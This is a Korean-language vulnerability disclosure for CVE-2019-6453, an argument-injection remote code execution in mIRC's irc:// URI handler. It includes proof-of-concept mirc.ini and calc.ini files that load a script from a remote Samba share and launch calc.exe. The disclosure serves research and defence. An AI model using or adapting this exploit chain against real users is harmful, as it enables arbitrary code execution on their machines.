CVE-2019-6453: mIRC <7.55에서 사용자 정의 URI 프로토콜 핸들러를 통한 인수 삽입으로 인한 RCE

[자세한 설명 보기]

우리는 irc:// URI 프로토콜 핸들러를 통해 mIRC에서 원격 코드 실행 취약점을 발견했습니다. mIRC는 인수 목록의 끝을 표시하기 위해 **--**와 같은 기호를 사용하지 않기 때문에, 공격자는 irc:// 링크를 통해 mIRC에 인수를 전달하고 공격자가 제어하는 Samba 파일 서버에서 사용자 정의 mirc.ini를 로드하여 임의 코드를 실행할 수 있습니다. **ircs://**도 동일하게 작동합니다.

PoC

계산기 증명에는 세 가지 파일이 필요합니다: mirc.ini, calc.ini 및 poc.html. 공격자 측에서 Samba 파일 서버가 실행 중이라고 가정합니다. 예제를 위해, 다음 코드는 호스트 127.0.0.1에서 실행 중이라고 가정합니다 (즉, 아래 파일에서 127.0.0.1을 자신의 서버 주소로 바꾸어 시도해보세요).

mirc.ini

mirc.ini는 파일 서버의 C:\mirc-poc\mirc.ini에 위치해야 하는 사용자 정의 구성 파일입니다.

[rfiles]
n2=\\127.0.0.1\C$\mirc-poc\calc.ini

calc.ini

calc.ini는 파일 서버의 C:\mirc-poc\calc.ini에 위치해야 하는 원격 스크립트 파일입니다.

[script]
n0=on *:START: {
n1=  /run calc.exe
n2=}